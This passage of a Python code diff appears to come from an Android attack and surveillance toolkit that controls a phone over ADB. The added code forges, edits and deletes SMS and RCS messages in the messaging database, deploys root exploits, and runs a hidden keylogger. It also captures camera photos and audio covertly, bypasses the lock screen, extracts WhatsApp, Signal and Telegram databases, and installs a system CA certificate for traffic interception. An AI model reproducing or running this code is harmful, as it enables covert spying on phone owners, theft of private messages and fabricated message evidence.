elif res['returncode'] == 0 and body is None: + updated = True # non-body updates harder to verify, trust return code + + if updated: + return {'success': True, 'id': sms_id, 'output': 'SMS updated'} + + # Direct update failed — use Archon app as SMS role proxy + extras = [f"--es id '{sms_id}'"] + if body is not None: + body_escaped = body.replace("'", "'\\''") + extras.append(f"--es body '{body_escaped}'") + if address is not None: + extras.append(f"--es address '{address}'") + if msg_type is not None: + type_map_r = {'inbox': 1, 'sent': 2, 'draft': 3, '1': 1, '2': 2, '3': 3} + extras.append(f"--ei type {type_map_r.get(str(msg_type), 1)}") + if read is not None: + extras.append(f"--ei read {1 if read else 0}") + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + extras.append(f"--el date {int(ts * 1000)}") + except ValueError: + pass + + am_cmd = ( + f"am broadcast -a com.darkhal.archon.SMS_UPDATE" + f" -n com.darkhal.archon/.service.SmsWorker" + f" {' '.join(extras)}" + ) + archon = self._with_sms_role(serial, am_cmd) + if archon.get('success'): + return {'success': True, 'id': sms_id, 'output': 'SMS updated via Archon'} + + return {'success': False, 'error': archon.get('error', 'SMS update failed')} + + def sms_bulk_insert(self, serial, messages): + """Insert multiple SMS messages. + + Args: + messages: List of dicts with keys: address, body, date, time, type, read + """ + results = [] + for msg in messages: + r = self.sms_insert( + serial, + address=msg.get('address', ''), + body=msg.get('body', ''), + date_str=msg.get('date'), + time_str=msg.get('time'), + msg_type=msg.get('type', 'inbox'), + read=msg.get('read', True), + ) + results.append(r) + success_count = sum(1 for r in results if r.get('success')) + return {'success': success_count > 0, 'total': len(messages), + 'inserted': success_count, 'results': results} + + # ── RCS Spoofing ───────────────────────────────────────────────── + + def rcs_check_support(self, serial): + """Check if Google Messages / RCS is available on device.""" + info = {'rcs_available': False, 'messaging_app': None, 'database': None} + # Check for Google Messages + res = self._shell(serial, 'pm list packages | grep com.google.android.apps.messaging') + if res['returncode'] == 0 and 'messaging' in res['output']: + info['messaging_app'] = 'com.google.android.apps.messaging' + info['rcs_available'] = True + else: + # Check default messaging + res = self._shell(serial, 'pm list packages | grep com.android.messaging') + if res['returncode'] == 0: + info['messaging_app'] = 'com.android.messaging' + + # Check for bugle_db + db_paths = [ + '/data/data/com.google.android.apps.messaging/databases/bugle_db', + '/data/user/0/com.google.android.apps.messaging/databases/bugle_db', + ] + for db in db_paths: + res = self._shell(serial, f'su -c "ls {db}" 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + info['database'] = db + break + + return info + + def rcs_list(self, serial, limit=50): + """List RCS messages from Google Messages bugle_db. Requires ROOT.""" + check = self.rcs_check_support(serial) + if not check.get('database'): + return {'success': False, 'error': 'Google Messages database not found (need root)', + 'messages': [], 'rcs_info': check} + + out_dir = self._serial_dir('recon', serial) + db_remote = check['database'] + tmp = '/data/local/tmp/_bugle_db' + self._shell(serial, f'su -c "cp {db_remote} {tmp} && chmod 644 {tmp}"') + local_db = str(out_dir / 'bugle_db') + result = self.hw.adb_pull(serial, tmp, local_db) + self._shell(serial, f'rm {tmp}') + + if not result['success'] or not os.path.exists(local_db): + return {'success': False, 'error': 'Failed to pull bugle_db', 'messages': []} + + messages = [] + try: + conn = sqlite3.connect(local_db) + cur = conn.cursor() + # Get messages with conversation and participant info + cur.execute(''' + SELECT m.message_id, m.conversation_id, m.received_timestamp, + m.message_status, m.message_protocol, + p.text, p.content_type, + c.name AS conv_name + FROM messages m + LEFT JOIN parts p ON m._id = p.message_id + LEFT JOIN conversations c ON m.conversation_id = c._id + ORDER BY m.received_timestamp DESC + LIMIT ? + ''', (limit,)) + for row in cur.fetchall(): + proto = row[4] or 0 + messages.append({ + 'message_id': row[0], + 'conversation_id': row[1], + 'timestamp': row[2], + 'timestamp_readable': time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(row[2] / 1000)) if row[2] else '', + 'status': row[3], + 'protocol': 'RCS' if proto == 1 else 'SMS' if proto == 0 else f'proto_{proto}', + 'text': row[5] or '', + 'content_type': row[6] or 'text/plain', + 'conversation_name': row[7] or '', + }) + conn.close() + except Exception as e: + return {'success': False, 'error': f'Database query failed: {e}', 'messages': []} + + return {'success': True, 'messages': messages, 'count': len(messages), 'db_path': local_db} + + def rcs_insert(self, serial, address, body, date_str=None, time_str=None, + sender_name=None, is_outgoing=False): + """Insert a spoofed RCS message into Google Messages bugle_db. Requires ROOT. + + This pulls the database, inserts locally, then pushes back. + The messaging app must be force-stopped before and restarted after. + """ + check = self.rcs_check_support(serial) + if not check.get('database'): + return {'success': False, 'error': 'Google Messages database not found (need root)'} + + out_dir = self._serial_dir('recon', serial) + db_remote = check['database'] + pkg = check['messaging_app'] + tmp = '/data/local/tmp/_bugle_db_rw' + + # Build timestamp + if date_str or time_str: + dt_str = f"{date_str or time.strftime('%Y-%m-%d')} {time_str or time.strftime('%H:%M:%S')}" + try: + ts = time.mktime(time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')) + date_ms = int(ts * 1000) + except ValueError: + return {'success': False, 'error': f'Invalid date/time: {dt_str}'} + else: + date_ms = int(time.time() * 1000) + + # Force-stop messaging app + self._shell(serial, f'am force-stop {pkg}') + time.sleep(0.5) + + # Copy database to temp location + self._shell(serial, f'su -c "cp {db_remote} {tmp} && cp {db_remote}-journal {tmp}-journal 2>/dev/null; chmod 666 {tmp} {tmp}-journal 2>/dev/null"') + + # Pull + local_db = str(out_dir / 'bugle_db_rw') + result = self.hw.adb_pull(serial, tmp, local_db) + if not result['success']: + return {'success': False, 'error': 'Failed to pull database'} + + try: + conn = sqlite3.connect(local_db) + cur = conn.cursor() + + # Find or create conversation for this address + cur.execute('SELECT _id FROM conversations WHERE name = ? OR other_participant_normalized_destination = ? LIMIT 1', + (address, address)) + row = cur.fetchone() + if row: + conv_id = row[0] + else: + # Create new conversation + cur.execute(''' + INSERT INTO conversations ( + name, other_participant_normalized_destination, + latest_message_id, sort_timestamp, + sms_thread_id, current_self_id + ) VALUES (?, ?, NULL, ?, -1, '1') + ''', (sender_name or address, address, date_ms)) + conv_id = cur.lastrowid + + # Determine message direction: 0=incoming, 1=outgoing (varies by schema) + # status: 2=complete for outgoing, 0=complete for incoming + if is_outgoing: + status = 2 + sent_ts = date_ms + recv_ts = 0 + else: + status = 0 + sent_ts = 0 + recv_ts = date_ms + + # Insert message — protocol 1 = RCS + cur.execute(''' + INSERT INTO messages ( + conversation_id, sender_participant_id, + sent_timestamp, received_timestamp, + message_status, message_protocol, + message_seen, read + ) VALUES (?, ?, ?, ?, ?, 1, 1, 1) + ''', (conv_id, '1' if is_outgoing else '0', sent_ts, recv_ts, status)) + msg_row_id = cur.lastrowid + + # Insert message text as part + cur.execute(''' + INSERT INTO parts ( + message_id, text, content_type + ) VALUES (?, ?, 'text/plain') + ''', (msg_row_id, body)) + + # Update conversation timestamp + cur.execute(''' + UPDATE conversations SET sort_timestamp = ?, latest_message_id = ? + WHERE _id = ? + ''', (date_ms, msg_row_id, conv_id)) + + conn.commit() + conn.close() + except Exception as e: + return {'success': False, 'error': f'Database insert failed: {e}'} + + # Push modified database back + self.hw.adb_push(serial, local_db, tmp) + # Copy back to app directory with correct ownership + self._shell(serial, f'su -c "cp {tmp} {db_remote} && chown $(stat -c %u:%g {db_remote}) {db_remote} 2>/dev/null"') + self._shell(serial, f'rm {tmp} {tmp}-journal 2>/dev/null') + + # Restart messaging app + self._shell(serial, f'monkey -p {pkg} -c android.intent.category.LAUNCHER 1 2>/dev/null') + + date_readable = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(date_ms / 1000)) + return { + 'success': True, + 'address': address, + 'body': body, + 'date': date_readable, + 'date_ms': date_ms, + 'protocol': 'RCS', + 'conversation_id': conv_id, + 'is_outgoing': is_outgoing, + } + + def rcs_delete(self, serial, message_id): + """Delete an RCS message from bugle_db by message _id. Requires ROOT.""" + check = self.rcs_check_support(serial) + if not check.get('database'): + return {'success': False, 'error': 'Google Messages database not found (need root)'} + + db_remote = check['database'] + pkg = check['messaging_app'] + tmp = '/data/local/tmp/_bugle_db_del' + out_dir = self._serial_dir('recon', serial) + + self._shell(serial, f'am force-stop {pkg}') + time.sleep(0.5) + self._shell(serial, f'su -c "cp {db_remote} {tmp} && chmod 666 {tmp}"') + + local_db = str(out_dir / 'bugle_db_del') + result = self.hw.adb_pull(serial, tmp, local_db) + if not result['success']: + return {'success': False, 'error': 'Failed to pull database'} + + try: + conn = sqlite3.connect(local_db) + cur = conn.cursor() + cur.execute('DELETE FROM parts WHERE message_id = ?', (message_id,)) + cur.execute('DELETE FROM messages WHERE _id = ?', (message_id,)) + deleted = cur.rowcount + conn.commit() + conn.close() + except Exception as e: + return {'success': False, 'error': f'Delete failed: {e}'} + + # Push back + self.hw.adb_push(serial, local_db, tmp) + self._shell(serial, f'su -c "cp {tmp} {db_remote} && chown $(stat -c %u:%g {db_remote}) {db_remote} 2>/dev/null"') + self._shell(serial, f'rm {tmp} 2>/dev/null') + self._shell(serial, f'monkey -p {pkg} -c android.intent.category.LAUNCHER 1 2>/dev/null') + + return {'success': deleted > 0, 'deleted_id': message_id, 'rows_affected': deleted} + + # ── Boot / Recovery ────────────────────────────────────────────── + + def get_bootloader_info(self, serial): + """Get all fastboot variables.""" + stdout, stderr, rc = self.hw._run_fastboot(['getvar', 'all'], serial=serial, timeout=15) + output = stderr or stdout # fastboot outputs to stderr + info = {} + for line in output.split('\n'): + line = line.strip() + if ':' in line and not line.startswith('('): + key, _, val = line.partition(':') + key = key.strip() + val = val.strip() + if key and val: + info[key] = val + return info + + def backup_boot_image(self, serial): + """Backup boot partition via dd. Requires ROOT in ADB mode.""" + out_dir = self._serial_dir('boot', serial) + # Find boot partition + res = self._shell(serial, 'su -c "ls -la /dev/block/by-name/boot 2>/dev/null || ls -la /dev/block/bootdevice/by-name/boot 2>/dev/null"') + boot_dev = None + if res['returncode'] == 0: + # Extract symlink target or device path + output = res['output'].strip() + parts = output.split() + # Usually last element is the symlink target or the entry itself + for p in reversed(parts): + if p.startswith('/dev/'): + boot_dev = p + break + if not boot_dev and '->' in output: + boot_dev = output.split('->')[-1].strip() + + if not boot_dev: + boot_dev = '/dev/block/by-name/boot' + + tmp = '/sdcard/boot_backup.img' + res = self._shell(serial, f'su -c "dd if={boot_dev} of={tmp} bs=4096"', timeout=60) + if res['returncode'] != 0: + return {'success': False, 'error': res['output']} + + local_path = str(out_dir / f'boot_{int(time.time())}.img') + result = self.hw.adb_pull(serial, tmp, local_path) + self._shell(serial, f'rm {tmp}') + + if result['success'] and os.path.exists(local_path): + size = os.path.getsize(local_path) + return {'success': True, 'local_path': local_path, 'size': size} + return {'success': False, 'error': 'Failed to pull boot image'} + + def flash_recovery(self, serial, img_path): + """Flash custom recovery image via fastboot.""" + if not os.path.isfile(img_path): + return {'success': False, 'error': f'File not found: {img_path}'} + return self.hw.fastboot_flash(serial, 'recovery', img_path) + + def flash_boot(self, serial, img_path): + """Flash boot image via fastboot.""" + if not os.path.isfile(img_path): + return {'success': False, 'error': f'File not found: {img_path}'} + return self.hw.fastboot_flash(serial, 'boot', img_path) + + def disable_verity(self, serial, vbmeta_path=None): + """Disable dm-verity/AVB by flashing vbmeta with disable flags.""" + if vbmeta_path and os.path.isfile(vbmeta_path): + # Flash user-provided vbmeta + return self.hw.fastboot_flash(serial, 'vbmeta', vbmeta_path) + # Try fastboot command + stdout, stderr, rc = self.hw._run_fastboot( + ['--disable-verity', '--disable-verification', 'flash', 'vbmeta', 'vbmeta.img'], + serial=serial, timeout=30 + ) + output = stderr or stdout + if rc != 0: + # Alternative: adb disable-verity + res = self.hw._run_adb(['disable-verity'], serial=serial, timeout=15) + return {'success': res[2] == 0, 'output': res[0] or res[1], 'method': 'adb'} + return {'success': rc == 0, 'output': output, 'method': 'fastboot'} + + def boot_temp(self, serial, img_path): + """Temporarily boot an image without flashing.""" + if not os.path.isfile(img_path): + return {'success': False, 'error': f'File not found: {img_path}'} + stdout, stderr, rc = self.hw._run_fastboot( + ['boot', img_path], serial=serial, timeout=60 + ) + output = stderr or stdout + return {'success': rc == 0, 'output': output} + + def unlock_bootloader(self, serial): + """Unlock bootloader. WIPES DATA.""" + return self.hw.fastboot_oem_unlock(serial) + + # ── Root Methods ───────────────────────────────────────────────── + + def check_root(self, serial): + """Check if device is rooted and by what method.""" + result = {'rooted': False, 'method': None, 'version': None, 'details': {}} + + # Try su + res = self._shell(serial, 'su -c id 2>/dev/null') + if res['returncode'] == 0 and 'uid=0' in res['output']: + result['rooted'] = True + result['details']['su'] = True + + # Check for Magisk + res = self._shell(serial, 'ls /data/adb/magisk/ 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + result['method'] = 'Magisk' + result['details']['magisk_dir'] = True + # Get version + ver = self._shell(serial, 'su -c "magisk -c" 2>/dev/null') + if ver['returncode'] == 0: + result['version'] = ver['output'].strip() + + # Check Magisk app + res = self._shell(serial, 'pm list packages | grep -i magisk 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + result['details']['magisk_app'] = res['output'].strip() + if not result['method']: + result['method'] = 'Magisk' + + # Check for SuperSU + res = self._shell(serial, 'ls /system/xbin/su 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + if not result['method']: + result['method'] = 'SuperSU' + result['details']['supersu'] = True + + # Check build type + res = self._shell(serial, 'getprop ro.build.type') + build_type = res['output'].strip() if res['returncode'] == 0 else '' + result['details']['build_type'] = build_type + if build_type in ('userdebug', 'eng'): + result['details']['debug_build'] = True + + return result + + def install_magisk(self, serial, apk_path): + """Install Magisk APK on device.""" + if not os.path.isfile(apk_path): + return {'success': False, 'error': f'File not found: {apk_path}'} + return self.hw.adb_install(serial, apk_path) + + def pull_patched_boot(self, serial): + """Pull Magisk-patched boot image from /sdcard/Download/.""" + out_dir = self._serial_dir('root', serial) + # Find patched boot image + res = self._shell(serial, 'ls -t /sdcard/Download/magisk_patched*.img 2>/dev/null') + if res['returncode'] != 0 or not res['output'].strip(): + return {'success': False, 'error': 'No magisk_patched*.img found in /sdcard/Download/'} + + remote = res['output'].strip().split('\n')[0].strip() + local_path = str(out_dir / os.path.basename(remote)) + result = self.hw.adb_pull(serial, remote, local_path) + if result['success'] and os.path.exists(local_path): + return {'success': True, 'local_path': local_path, 'size': os.path.getsize(local_path)} + return {'success': False, 'error': 'Failed to pull patched boot image'} + + def root_via_exploit(self, serial, exploit_binary): + """Deploy and execute a root exploit binary.""" + if not os.path.isfile(exploit_binary): + return {'success': False, 'error': f'File not found: {exploit_binary}'} + + # Deploy + deploy = self.deploy_binary(serial, exploit_binary) + if not deploy['success']: + return deploy + + # Execute + remote = deploy['remote_path'] + res = self._shell(serial, remote, timeout=60) + + # Check if we got root + root_check = self._shell(serial, 'su -c id 2>/dev/null') + got_root = root_check['returncode'] == 0 and 'uid=0' in root_check['output'] + + return { + 'success': got_root, + 'exploit_output': res['output'], + 'root_obtained': got_root, + 'remote_path': remote, + } + + def adb_root_shell(self, serial): + """Attempt adb root for userdebug/eng builds.""" + stdout, stderr, rc = self.hw._run_adb(['root'], serial=serial, timeout=10) + output = stdout or stderr + success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower() + return {'success': success, 'output': output} + + # ── Screen & Input Control (Android 9+) ────────────────────────── + + def screen_capture(self, serial): + """Take a screenshot and pull it.""" + out_dir = self._serial_dir('recon', serial) + remote = '/sdcard/autarch_screen.png' + self._shell(serial, f'screencap -p {remote}') + local = str(out_dir / f'screen_{int(time.time())}.png') + result = self.hw.adb_pull(serial, remote, local) + self._shell(serial, f'rm {remote}') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Screenshot failed'} + + def screen_record(self, serial, duration=10, size='1280x720'): + """Record screen video and pull it. Max 180s.""" + duration = min(int(duration), 180) + out_dir = self._serial_dir('recon', serial) + remote = '/sdcard/autarch_record.mp4' + self._shell(serial, f'screenrecord --time-limit {duration} --size {size} {remote}', + timeout=duration + 10) + local = str(out_dir / f'record_{int(time.time())}.mp4') + result = self.hw.adb_pull(serial, remote, local) + self._shell(serial, f'rm {remote}') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local), 'duration': duration} + return {'success': False, 'error': 'Screen recording failed'} + + def input_tap(self, serial, x, y): + """Tap at screen coordinates.""" + res = self._shell(serial, f'input tap {x} {y}') + return {'success': res['returncode'] == 0, 'x': x, 'y': y} + + def input_swipe(self, serial, x1, y1, x2, y2, duration_ms=300): + """Swipe from (x1,y1) to (x2,y2).""" + res = self._shell(serial, f'input swipe {x1} {y1} {x2} {y2} {duration_ms}') + return {'success': res['returncode'] == 0} + + def input_text(self, serial, text): + """Type text on device. Spaces become %s.""" + escaped = text.replace(' ', '%s').replace('&', '\\&').replace(';', '\\;') + res = self._shell(serial, f'input text "{escaped}"') + return {'success': res['returncode'] == 0, 'text': text} + + def input_keyevent(self, serial, keycode): + """Send keyevent. Common: 3=HOME, 4=BACK, 26=POWER, 82=MENU, 187=RECENTS.""" + res = self._shell(serial, f'input keyevent {keycode}') + return {'success': res['returncode'] == 0, 'keycode': keycode} + + def start_keylogger(self, serial): + """Start getevent-based keylogger in background. Returns PID.""" + remote_log = '/data/local/tmp/keylog.txt' + cmd = f'nohup sh -c "getevent -lt > {remote_log} 2>&1" &' + res = self._shell(serial, cmd) + # Get PID + pid_res = self._shell(serial, 'pgrep -f "getevent -lt"') + pid = pid_res['output'].strip().split('\n')[0].strip() if pid_res['returncode'] == 0 else '' + return {'success': True, 'pid': pid, 'log_path': remote_log} + + def stop_keylogger(self, serial): + """Stop keylogger and pull log file.""" + self._shell(serial, 'pkill -f "getevent -lt"') + out_dir = self._serial_dir('recon', serial) + local = str(out_dir / f'keylog_{int(time.time())}.txt') + result = self.hw.adb_pull(serial, '/data/local/tmp/keylog.txt', local) + self._shell(serial, 'rm /data/local/tmp/keylog.txt') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'No keylog found'} + + def camera_capture(self, serial, camera='back'): + """Take photo using device camera via intent.""" + out_path = '/sdcard/DCIM/autarch_capture.jpg' + # Use am to start camera and capture + if camera == 'front': + extra = '--ei android.intent.extras.CAMERA_FACING 1' + else: + extra = '' + self._shell(serial, f'am start -a android.media.action.IMAGE_CAPTURE {extra}') + time.sleep(2) + # Simulate shutter press via keyevent (CAMERA=27, or DPAD_CENTER=23) + self._shell(serial, 'input keyevent 27 2>/dev/null; input keyevent 23 2>/dev/null') + time.sleep(2) + # Press back to confirm + self._shell(serial, 'input keyevent 4') + time.sleep(1) + # Find latest photo + res = self._shell(serial, 'ls -t /sdcard/DCIM/Camera/*.jpg 2>/dev/null') + if res['returncode'] == 0 and res['output'].strip(): + latest = res['output'].strip().split('\n')[0].strip() + out_dir = self._serial_dir('recon', serial) + local = str(out_dir / f'camera_{int(time.time())}.jpg') + result = self.hw.adb_pull(serial, latest, local) + if result['success']: + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Camera capture may have failed - check device'} + + def audio_record(self, serial, duration=10): + """Record audio from microphone. Needs Android 10+ or root for silent.""" + duration = min(int(duration), 120) + remote = '/sdcard/autarch_audio.3gp' + # Start recording in background, then kill after duration + cmd = (f'nohup sh -c "' + f'am start -n com.android.soundrecorder/.SoundRecorder 2>/dev/null; ' + f'sleep 1; input keyevent 85; sleep {duration}; input keyevent 86; ' + f'sleep 1; input keyevent 4' + f'" > /dev/null 2>&1 &') + res = self._shell(serial, cmd, timeout=5) + return { + 'success': True, + 'duration': duration, + 'note': f'Recording for {duration}s via SoundRecorder intent. Pull audio manually after.', + } + + def dismiss_lockscreen(self, serial): + """Attempt to dismiss lock screen / wake device.""" + results = [] + # Wake screen + self._shell(serial, 'input keyevent 26') # POWER + time.sleep(0.5) + self._shell(serial, 'input keyevent 82') # MENU (unlocks swipe-only) + time.sleep(0.3) + # Swipe up to dismiss + self._shell(serial, 'input swipe 540 1800 540 400 300') + time.sleep(0.3) + # Check if lock screen is still showing + res = self._shell(serial, 'dumpsys window | grep mDreamingLockscreen') + locked = 'true' in res['output'].lower() if res['returncode'] == 0 else False + return {'success': not locked, 'locked': locked} + + def disable_lockscreen(self, serial): + """Disable lock screen via settings (debug builds or root).""" + cmds = [ + 'settings put secure lockscreen.disabled 1', + 'locksettings clear --old ""', + 'locksettings set-disabled true', + ] + results = [] + for c in cmds: + r = self._shell(serial, c) + results.append({'cmd': c, 'rc': r['returncode'], 'out': r['output'].strip()}) + return {'success': True, 'results': results} + + # ── Extended Data Exfiltration ─────────────────────────────────── + + def extract_clipboard(self, serial): + """Get current clipboard content.""" + res = self._shell(serial, 'service call clipboard 2 i32 1 i32 0 2>/dev/null') + # Parse parcel result + text = '' + if res['returncode'] == 0: + # Try to extract string from service call output + parts = res['output'].split("'") + if len(parts) >= 2: + text = parts[1].replace('\n', '') + if not text: + # Fallback: try am broadcast method + res = self._shell(serial, 'am broadcast -a clipper.get 2>/dev/null') + text = res['output'].strip() + return {'success': True, 'clipboard': text} + + def dump_notifications(self, serial): + """Dump current notifications.""" + res = self._shell(serial, 'dumpsys notification --noredact 2>/dev/null', timeout=15) + if res['returncode'] != 0: + return {'success': False, 'error': res['output']} + # Parse notifications + notifications = [] + current = {} + for line in res['output'].split('\n'): + line = line.strip() + if line.startswith('NotificationRecord'): + if current: + notifications.append(current) + current = {'raw': line} + elif 'pkg=' in line and current: + m = re.search(r'pkg=(\S+)', line) + if m: + current['package'] = m.group(1) + elif 'android.title=' in line and current: + current['title'] = line.split('=', 1)[1].strip() + elif 'android.text=' in line and current: + current['text'] = line.split('=', 1)[1].strip() + if current: + notifications.append(current) + return {'success': True, 'notifications': notifications, 'count': len(notifications)} + + def extract_location(self, serial): + """Get device location data.""" + info = {} + # GPS from dumpsys + res = self._shell(serial, 'dumpsys location 2>/dev/null', timeout=15) + if res['returncode'] == 0: + for line in res['output'].split('\n'): + line = line.strip() + if 'Last Known Location' in line or 'last location=' in line.lower(): + info['last_location'] = line + elif 'fused' in line.lower() and ('lat' in line.lower() or 'location' in line.lower()): + info['fused'] = line + # Settings + res = self._shell(serial, 'settings get secure location_mode') + info['location_mode'] = res['output'].strip() + res = self._shell(serial, 'settings get secure location_providers_allowed') + info['providers'] = res['output'].strip() + return {'success': True, **info} + + def extract_media_list(self, serial, media_type='photos'): + """List media files on device.""" + paths = { + 'photos': '/sdcard/DCIM/Camera/', + 'downloads': '/sdcard/Download/', + 'screenshots': '/sdcard/Pictures/Screenshots/', + 'whatsapp_media': '/sdcard/WhatsApp/Media/', + 'telegram_media': '/sdcard/Telegram/', + } + path = paths.get(media_type, f'/sdcard/{media_type}/') + res = self._shell(serial, f'ls -lhS {path} 2>/dev/null', timeout=10) + files = [] + if res['returncode'] == 0: + for line in res['output'].split('\n'): + line = line.strip() + if line and not line.startswith('total'): + files.append(line) + return {'success': True, 'path': path, 'files': files, 'count': len(files)} + + def pull_media_folder(self, serial, media_type='photos', limit=50): + """Pull media files from device.""" + paths = { + 'photos': '/sdcard/DCIM/Camera/', + 'downloads': '/sdcard/Download/', + 'screenshots': '/sdcard/Pictures/Screenshots/', + } + remote_path = paths.get(media_type, f'/sdcard/{media_type}/') + out_dir = self._serial_dir('recon', serial) / media_type + out_dir.mkdir(parents=True, exist_ok=True) + # List files + res = self._shell(serial, f'ls -1t {remote_path} 2>/dev/null') + if res['returncode'] != 0: + return {'success': False, 'error': f'Cannot list {remote_path}'} + pulled = [] + for fname in res['output'].strip().split('\n')[:limit]: + fname = fname.strip() + if not fname: + continue + remote = f'{remote_path}{fname}' + local = str(out_dir / fname) + r = self.hw.adb_pull(serial, remote, local) + if r['success']: + pulled.append(local) + return {'success': len(pulled) > 0, 'pulled': pulled, 'count': len(pulled), 'output_dir': str(out_dir)} + + def extract_whatsapp_db(self, serial): + """Extract WhatsApp message database. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + db_paths = [ + '/data/data/com.whatsapp/databases/msgstore.db', + '/data/data/com.whatsapp/databases/wa.db', + ] + pulled = [] + for db in db_paths: + tmp = f'/data/local/tmp/_wa_{os.path.basename(db)}' + self._shell(serial, f'su -c "cp {db} {tmp} && chmod 644 {tmp}"') + local = str(out_dir / f'whatsapp_{os.path.basename(db)}') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if r['success'] and os.path.exists(local): + pulled.append(local) + if not pulled: + # Try unencrypted backup + backup = '/sdcard/WhatsApp/Databases/msgstore.db.crypt14' + r = self.hw.adb_pull(serial, backup, str(out_dir / 'msgstore.db.crypt14')) + if r['success']: + pulled.append(str(out_dir / 'msgstore.db.crypt14')) + return {'success': len(pulled) > 0, 'files': pulled, + 'note': 'Root extracts decrypted DB. Non-root gets encrypted backup.'} + + def extract_telegram_db(self, serial): + """Extract Telegram database. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + db = '/data/data/org.telegram.messenger/files/cache4.db' + tmp = '/data/local/tmp/_tg_cache4.db' + self._shell(serial, f'su -c "cp {db} {tmp} && chmod 644 {tmp}"') + local = str(out_dir / 'telegram_cache4.db') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if r['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Cannot extract Telegram DB (need root)'} + + def extract_signal_db(self, serial): + """Extract Signal database. Requires ROOT.""" + out_dir = self._serial_dir('recon', serial) + db = '/data/data/org.thoughtcrime.securesms/databases/signal.db' + tmp = '/data/local/tmp/_signal.db' + self._shell(serial, f'su -c "cp {db} {tmp} && chmod 644 {tmp}"') + local = str(out_dir / 'signal.db') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if r['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Cannot extract Signal DB (need root)'} + + def dump_all_settings(self, serial): + """Dump all Android settings (system, secure, global).""" + settings = {} + for ns in ('system', 'secure', 'global'): + res = self._shell(serial, f'settings list {ns}', timeout=10) + if res['returncode'] == 0: + entries = {} + for line in res['output'].split('\n'): + if '=' in line: + k, _, v = line.partition('=') + entries[k.strip()] = v.strip() + settings[ns] = entries + return {'success': True, 'settings': settings} + + # ── Network Manipulation ───────────────────────────────────────── + + def set_proxy(self, serial, host, port): + """Set global HTTP proxy.""" + res = self._shell(serial, f'settings put global http_proxy {host}:{port}') + return {'success': res['returncode'] == 0, 'proxy': f'{host}:{port}'} + + def clear_proxy(self, serial): + """Remove global proxy.""" + self._shell(serial, 'settings put global http_proxy :0') + self._shell(serial, 'settings delete global http_proxy') + self._shell(serial, 'settings delete global global_http_proxy_host') + self._shell(serial, 'settings delete global global_http_proxy_port') + return {'success': True} + + def install_ca_cert_user(self, serial, cert_path): + """Install CA certificate to user store.""" + if not os.path.isfile(cert_path): + return {'success': False, 'error': f'File not found: {cert_path}'} + remote = '/sdcard/autarch_cert.pem' + self.hw.adb_push(serial, cert_path, remote) + # Open cert installer + res = self._shell(serial, + f'am start -a android.credentials.INSTALL -t application/x-x509-ca-cert -d file://{remote}') + return {'success': True, 'note': 'Certificate install dialog opened on device. User must confirm.'} + + def install_ca_cert_system(self, serial, cert_path): + """Install CA certificate to system store. Requires ROOT + remounted /system.""" + if not os.path.isfile(cert_path): + return {'success': False, 'error': f'File not found: {cert_path}'} + # Convert to Android system cert format + import hashlib + with open(cert_path, 'rb') as f: + cert_data = f.read() + # Get subject hash for filename + remote_tmp = '/data/local/tmp/autarch_ca.pem' + self.hw.adb_push(serial, cert_path, remote_tmp) + # Calculate hash and install + res = self._shell(serial, f'su -c "' + f'mount -o remount,rw /system 2>/dev/null; ' + f'HASH=$(openssl x509 -subject_hash_old -in {remote_tmp} 2>/dev/null | head -1); ' + f'cp {remote_tmp} /system/etc/security/cacerts/${{HASH}}.0 2>/dev/null && ' + f'chmod 644 /system/etc/security/cacerts/${{HASH}}.0 && ' + f'mount -o remount,ro /system 2>/dev/null; ' + f'echo DONE"') + success = 'DONE' in res['output'] + self._shell(serial, f'rm {remote_tmp}') + return {'success': success, 'output': res['output'], + 'note': 'Reboot required for system certs to take effect' if success else ''} + + def get_network_info(self, serial): + """Get comprehensive network information.""" + info = {} + res = self._shell(serial, 'ip addr show 2>/dev/null') + info['interfaces'] = res['output'].strip() if res['returncode'] == 0 else '' + res = self._shell(serial, 'ip route show 2>/dev/null') + info['routes'] = res['output'].strip() if res['returncode'] == 0 else '' + res = self._shell(serial, 'getprop net.dns1') + info['dns1'] = res['output'].strip() + res = self._shell(serial, 'getprop net.dns2') + info['dns2'] = res['output'].strip() + res = self._shell(serial, 'settings get global http_proxy') + info['proxy'] = res['output'].strip() + res = self._shell(serial, 'dumpsys connectivity 2>/dev/null | head -30', timeout=10) + info['connectivity'] = res['output'].strip() if res['returncode'] == 0 else '' + return info + + def set_dns(self, serial, dns1, dns2=''): + """Set DNS servers. Requires ROOT.""" + cmds = [f'su -c "setprop net.dns1 {dns1}"'] + if dns2: + cmds.append(f'su -c "setprop net.dns2 {dns2}"') + cmds.append(f'su -c "ndc resolver setnetdns 0 \"\" {dns1} {dns2}"') + results = [] + for c in cmds: + r = self._shell(serial, c) + results.append(r['output'].strip()) + return {'success': True, 'dns1': dns1, 'dns2': dns2} + + def wifi_scan(self, serial): + """Scan for nearby WiFi networks.""" + # Android 9+ uses cmd wifi + res = self._shell(serial, 'cmd wifi start-scan 2>/dev/null; sleep 2; cmd wifi list-scan-results 2>/dev/null', 